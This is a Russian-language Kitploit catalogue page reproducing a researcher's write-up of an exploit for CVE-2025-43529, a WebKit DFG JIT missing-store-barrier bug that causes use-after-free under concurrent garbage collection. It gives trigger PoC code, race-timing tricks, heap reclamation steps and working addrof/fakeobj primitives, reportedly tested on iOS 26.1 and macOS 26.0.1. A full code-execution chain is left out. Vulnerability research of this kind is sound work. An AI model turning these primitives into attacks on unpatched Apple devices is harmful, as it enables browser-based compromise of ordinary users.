Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-43529 — Технический эксплойт для CVE-2025-43529, уязвимости в JIT-компиляторе DFG WebKit, позволяющей использовать use-after-free через отсутствующий store barrier в конкурентном GC, с полными примитивами эксплуатации для iOS и macOS. | Kitploit
Инструменты/GitHubGitHub/jir4vv1t/cve-2025-43529
Криминалистика памятиАнализ уязвимостейЭксплуатацияОбратная инженерияВеб-безопасностьЭксплуатация Бинарных Файлов
GitHubjir4vv1t/cve-2025-43529

CVE-2025-43529

Технический эксплойт для CVE-2025-43529, уязвимости в JIT-компиляторе DFG WebKit, позволяющей использовать use-after-free через отсутствующий store barrier в конкурентном GC, с полными примитивами эксплуатации для iOS и macOS.

Репозиторий
851178 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-43529

TL; DR

Недавно Apple выпустила iOS 26.2 и iPadOS 26.2 вместе с бюллетенем безопасности, включающим исправления уязвимостей WebKit. Один баг в DFG JIT-компиляторе (CVE-2025-43529) привлёк моё внимание, и я решил в нём разобраться.

JIT-компилятор корректно определил, что Phi-узел (место слияния нескольких путей потока управления) сбежал (escaped), но не заметил, что Upsilon-узлы этого Phi также сбежали. Из-за этого фаза DFG-компиляции StoreBarrierInsertionPhase пропустила вставку Store Barrier — ключевого механизма безопасности памяти. В результате конкурентный GC может пропустить объекты, которые должен был просканировать, что может привести к use-after-free.

Патч-коммит можно найти здесь.

Я подтвердил, что мой эксплойт работает на iOS 26.1, iPadOS 26.1 и macOS Tahoe 26.0.1.

Предыстория

Поколенческий GC

JSC использует поколенческую (generational) модель GC для эффективного управления кучей. В этой модели память делится на Eden (новое пространство) и старое пространство в зависимости от возраста объекта. Все вновь выделенные объекты начинают своё существование в Eden. Когда Eden заполняется, запускается Eden GC, и все выжившие объекты повышаются (promote) до старого пространства. Очистка объектов в старом пространстве требует полного GC.

Чтобы поколенческий GC работал, GC должен классифицировать объекты как «уже просканированные», «требующие сканирования» или «требующие повторного сканирования». В JSC это отслеживается с помощью cellState объекта. (Все объекты, управляемые GC, наследуются от JSCell.)

root@kitploit:~
StructureID m_structureID;
union {
    uint32_t m_blob;
    struct {
        IndexingType m_indexingTypeAndMisc; 
        JSType m_type;
        TypeInfo::InlineTypeFlags m_flags;
        CellState m_cellState;
    };
};

cellState занимает 1 байт и может быть одним из трёх цветов: Black (0), White (1) и Grey (2).

White означает объект, который только что был выделен в Eden. В текущем цикле GC он ещё не был помечен. Если он останется в этом состоянии до конца цикла GC, объект будет собран.

Black означает, что GC уже закончил пометку объекта или находится в процессе пометки. Такой объект, по сути, считается живым, хотя бит isMarked может быть ещё выключен.

Grey означает объект, который ещё нужно просканировать. Точнее, изначально он был Black, но попал под write barrier и был добавлен в remembered set. Другими словами, его ссылки изменились, поэтому GC должен просканировать его снова.

Конкурентный GC

В JSC также есть конкурентный GC (Concurrent GC), который позволяет приложению продолжать работать, пока память перерабатывается. Если GC помечает объект в фоне, а приложение в то же время изменяет состояние этого объекта, может возникнуть гонка (race condition).

Чтобы этого избежать, нужны гарантии порядка выполнения. Например, «запись (store) A, затем чтение (load) B» должны выполняться именно в таком порядке. Но на ARM64 из соображений производительности CPU может переупорядочивать операции с памятью. Это означает, что GC может прочитать неверное значение.

Поэтому JSC использует dependency class, чтобы полагаться на зависимости по данным CPU, либо использует специальные инструкции ARM64, такие как STLR и LDAR, для обеспечения порядка. STLR гарантирует, что предыдущие чтения/записи станут видимыми до записи (release store). LDAR гарантирует, что последующие чтения/записи не могут переместиться раньше загрузки (acquire load). Когда другой поток читает объект, LDAR используется в паре с STLR, чтобы безопасно наблюдать самые свежие данные.

DMB — это не отдельная специальная инструкция для одного доступа. Это барьер, который принудительно упорядочивает все обращения к памяти вокруг себя. Он гарантирует, что операции с памятью до DMB станут видимыми до операций после него.

JSC JIT

В JSC всего три уровня JIT. Чтобы сбалансировать скорость выполнения и стоимость компиляции (память/время), применяются оптимизации, и код перемещается на следующий уровень в зависимости от частоты его выполнения.

  • Уровень 1: Baseline JIT
  • Уровень 2: DFG JIT
  • Уровень 3: FTL JIT

Baseline JIT — это первый JIT-компилятор. Он ориентирован на быструю генерацию нативного кода с низкими накладными расходами на компиляцию. DFG JIT — следующий этап после Baseline JIT, где начинается серьёзная оптимизация.

На уровне DFG инструкции JavaScript преобразуются в граф, состоящий из узлов DFG IR. Используя собранную информацию о типах, компилятор выполняет спекуляцию (speculation), чтобы удалить лишние операции. В конвейере оптимизаций DFG в JSC фаза StoreBarrierInsertionPhase вставляет StoreBarrier после узлов, которые пишут в память, например PutByOffset. CVE-2025-43529 — это уязвимость, вызванная тем, что StoreBarrier не был вставлен, хотя должен был быть вставлен во время StoreBarrierInsertionPhase.

StoreBarrier — это узел, который действует как write barrier. Он используется для сохранения корректности при гонках с потоком пометки.

Триггер бага

Уязвимый сценарий DFG-узлов, описанный в патч-коммите, выглядит так:

root@kitploit:~
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
   Branch(BB#2, BB#3)

BB#2
...
d: Something
e: Upsilon(@d, ^f)
   Jump(BB#3)

BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...

В BB#1 создаются два новых объекта, и выполнение переходит либо в BB#2, либо в BB#3. Затем BB#2 переходит в BB#3. Интересная часть находится в BB#3 — это Phi-узел. Он означает, что f — это либо c, либо e, и этот выбор определяется вышестоящими Upsilon-узлами. В BB#3 PutByOffset означает добавление значения в свойство объекта.

Упрощённый PoC

root@kitploit:~
let A = { p0: 0x41414141 };

function jitme(flag) {
    // BB#1
    let a = { p0: 13.37 };
    let b = { p0: 0x42424242 };

    let f;

    if (flag) {
        // BB#2
        f = b; 
    } else {
        // BB#3
        f = 1.1; // d
    }

    // BB#4
    A.p0 = f; 
    b.p0 = a;
}

Если использовать опцию --dumpFTLDisassembly=true, можно посмотреть ассемблерный код после FTL-компиляции.

root@kitploit:~
// Starting BB#3
  0  3 60:   D@46:< 1:->        Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
  1  3 60:   D@53:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  2  3 60:   D@57:<!0:->        ExitOK(MustGen, W:SideState, bc#50, ExitValid)
  3  3 60:   D@63:<!0:->        KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
  4  3 60:   D@60:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  5  3 60:   D@67:<!0:->        KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
  6  3 60:   D@66:<!0:->        ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
  7  3 60:   D@69:<!0:->        FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
  8  3 60:   D@70:<!0:->        PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)

// StoreBarrier for D@65(A)
  9  3 60:   D@78:<!0:->        FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
 10  3 60:   D@73:<!0:->        FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)

// D@36 : b
// D@26 : a
// b.p0 = a
 11  3 60:   D@75:<!0:->        PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier for D@36(b) is supposed to be here
 12  3 60:   D@71:<!0:->        Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)

Из-за бага StoreBarrier для b не был создан.

Объект A находится в старом пространстве. При первом PutByOffset (A.p0 = f) старый объект A начинает указывать на новый объект f. Это означает, что поток пометки может достичь f через A в любой момент после этой записи. Поэтому если позже изменять свойства f, необходимо вставить StoreBarrier.

f (Phi-узел) считается сбежавшим, но фактические входные значения, которые могут попасть в f (через Upsilon: b и d), не помечаются как сбежавшие. Логически, если f сохраняется в A, то любой объект, который может стать f, включая b, также фактически сохраняется в A. Но из-за бага компилятор этого не осознаёт, поэтому он продолжает считать b не-сбежавшим «безопасным» значением, которое GC не нужно сканировать, и в итоге пропускает StoreBarrier.

Гонка (race condition)

Чтобы вызвать use-after-free, нужно выиграть гонку между главным потоком и потоком пометки. Сценарий выглядит так:

  1. Конкурентная пометка (поток пометки): Поток пометки достигает b, обходя объект A из старого пространства, и помечает и A, и b как Black.

  2. Обновление ссылки (главный поток): Главный поток выполняет b.p0 = a. В этот момент a — это объект в Eden, который ещё не был помечен, поэтому он всё ещё White. Это создаёт Black-объект, указывающий на White-объект.

  3. Отсутствующий store barrier: В норме b должен быть добавлен в remembered set. Но поскольку из-за бага store barrier пропущен, GC никогда не узнаёт, что b теперь указывает на a. Цикл GC продолжается, и если ничто другое не ссылается на a, он остаётся White всё время и в итоге освобождается.

  4. Конец цикла GC: После этого чтение b.p0 может обратиться к освобождённой памяти, что может привести к use-after-free.

Окно гонки

Самая сложная часть использования гонки — попасть в окно гонки. Объекты A и b должны быть помечены в одном и том же цикле GC. Чтобы выровнять тайминги между главным потоком и потоком пометки, я использовал три приёма.

root@kitploit:~
arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;

let A = {
    p0: 0x41414141,
    p1: 1.1,
    p2: 2.2,
};
arr[arr_index] = A;

Во-первых, чтобы удерживать окно до начала сканирования A, нужно заставить GC посетить несколько дочерних объектов. Я сделал arr большим и поместил A на последний индекс. Здесь нужно следить за тем, чтобы A находился в старом пространстве.

root@kitploit:~
let forGC = [];

let a = new Date(1);
a[0] = 1.1;

for (let j = 0; j < allocCount; ++j) {
    let arr = new ArrayBuffer(0x80_0000);
    forGC.push(arr);
}
A.p2 = forGC;

Во-вторых, сканирование A в старом пространстве требует запуска полного GC. Для этого нужно выделить достаточно больших объектов в достаточном количестве. Чтобы запуск GC был довольно стабильным, я сохранил ссылки на выделенные объекты, чтобы они не были оптимизированы как «неиспользуемые». Я сохранил их в A.p2.

root@kitploit:~
A.p1 = f;

let v = 1.1;
for (let i = 0; i < 1e6; ++i) {
    for (let j = 0; j < k; ++j) {
        v = i;
        v = j;
    }
}

b.p0 = v;
b.p1 = a;

В-третьих, когда полный GC запущен и удаётся задержать пометку A с помощью достаточно большого массива, главному потоку всё равно нужно, чтобы пометка A завершилась прямо перед добавлением ссылки на a в b. Чтобы добиться такого тайминга, я добавил большой цикл. А чтобы цикл не был оптимизирован, я сохранил конечное значение в b.p0.

Эксплуатация

Возврат butterfly

После завершения цикла GC можно наблюдать, что когда MarkedBlock, содержащий освобождённые объекты, используется снова, объекты в этом блоке, которые не были помечены, выметаются (sweep). В JSC механизм sweep делает весь MarkedBlock или его часть доступной для последующих выделений. Адрес освобождённого объекта становится доступным для повторного использования аллокатором только после этого.

root@kitploit:~
reclaimed = false;

for (let i = 0; i < 1e6; ++i) {
    let arr = [13.37, 2.2, 3.3, 4.4, noCow];
    ref.push(arr);
    if (freed_object[0] === 13.37) { 
        reclaimed = true;
        break;
    }
}

if (!reclaimed) {
    print('failed');
}

После гонки цикл многократно выделяет массивы длиной 5, чтобы стимулировать возврат выметенного butterfly. Если butterfly будет перераспределён, это можно обнаружить, прочитав индексные свойства объекта, который разделяет тот же адрес butterfly.

Внутри создание arr вызывает JSC::constructArrayBuffer, который запускает MarkedBlock::Handle::specializedSweep. Именно здесь изначально строится FreeList для блока, содержащего butterfly.

root@kitploit:~
void MarkedBlock::Handle::specializedSweep(...)
{
    // ... 
    if (emptyMode == IsEmpty || (marksMode != MarksNotStale && newlyAllocatedMode != HasNewlyAllocated)) {
        // ...
        if (sweepMode == SweepToFreeList) {
            if (scribbleMode == Scribble) [[unlikely]]
                scribble(payloadBegin, payloadEnd - payloadBegin);
            FreeCell* interval = reinterpret_cast_ptr<FreeCell*>(payloadBegin);
            interval->makeLast(payloadEnd - payloadBegin, secret);
            freeList->initialize(interval, secret, payloadEnd - payloadBegin);
        }
        return;
    }
    // ...
}

С PoC, если sweep выполняется на блоке, содержащем butterfly, после гонки, emptyMode, marksMode и newlyAllocatedMode становятся соответственно IsEmpty, MarksStale и DoesNotHaveNewlyAllocated, поэтому выполнение входит в указанный выше if.

При обычном sweep пришлось бы строить free list фрагментами, но здесь весь блок пуст, поэтому free list инициализируется как один большой интервал, покрывающий весь блок. Структура freeList очень проста. По сути, она отслеживает только начало и конец фрагмента и его размер.

В этот момент freeList содержит целый блок, включая указатель на butterfly.

root@kitploit:~
template<typename Func>
ALWAYS_INLINE HeapCell* FreeList::allocateWithCellSize(const Func& slowPath, size_t cellSize)
{
    if (m_intervalStart < m_intervalEnd) [[likely]] {
        char* result = m_intervalStart;
        m_intervalStart += cellSize;
        return std::bit_cast<HeapCell*>(result);
    }
    // ...
}

Выделения из freeList обрабатываются FreeList::allocateWithCellSize. Если m_intervalStart и m_intervalEnd не равны, аллокатор считает, что в интервале есть свободные ячейки, возвращает текущий начальный указатель как адрес нового объекта, а затем сдвигает начальный указатель на cellSize.

Эта функция вызывается из JSC::constructArray и выполняется многократно внутри цикла. В конечном счёте вновь выделенный массив начинает использовать адрес освобождённого butterfly для своего butterfly.

Выметание мусора

Есть несколько причин, по которым эксплойт может не сработать, но одно простое улучшение — избавиться от указателя на butterfly, оставшегося на стеке.

Во время выделения butterfly указатель многократно записывается в стек. Если этот указатель остаётся там даже после вызова функции, которая запускает use-after-free, консервативное сканирование стека GC может подобрать его и пометить, что предотвратит освобождение и в итоге «защитит» его, как обычно.

В PoC эта проблема решается вызовом функции, которая создаёт большое количество стековых фреймов.

root@kitploit:~
function recursive(n) {
    if (n === 0) 
        return;
    n = n | 0;
    recursive(n - 1);  
}

recursive(10000);

Вызывая рекурсивную функцию, главный поток заполняет своё стековое пространство фреймами функций, перезаписывая все оставшиеся адреса butterfly другими значениями. После этого указатель на butterfly с меньшей вероятностью будет найден при сканировании стека, что увеличивает шансы того, что GC не просканирует этот butterfly.

Создание примитивов

root@kitploit:~
let boxed_arr = reclaimed_object;
boxed_arr[0] = {}; // Double -> Contiguous
let unboxed_arr = freed_object;

function addrof(obj) {
    boxed_arr[0] = obj;
    return ftoi(unboxed_arr[0]);
}

function fakeobj(addr) {
    unboxed_arr[0] = itof(addr);
    return boxed_arr[0];
}

Используя use-after-free, можно получить один и тот же butterfly в освобождённом объекте a и во вновь выделенном массиве. Затем, заставив два объекта использовать разные IndexingType, можно обращаться к значениям в этом единственном butterfly и в режиме Double, и в режиме Contiguous. Это напрямую приводит к классическим примитивам addrof и fakeobj.

Дальнейшие шаги

Если вам удалось построить примитивы addrof/fakeobj, вы легко сможете построить примитивы чтения/записи. Но чтобы получить выполнение кода, всё ещё нужно обойти аутентификацию указателей (pointer authentication). Эта часть оставлена в качестве задачи.

Ссылки

  • Understanding Garbage Collection in JavaScriptCore From Scratch
  • About the security content of iOS 26.2 and iPadOS 26.2
Скачать инструмент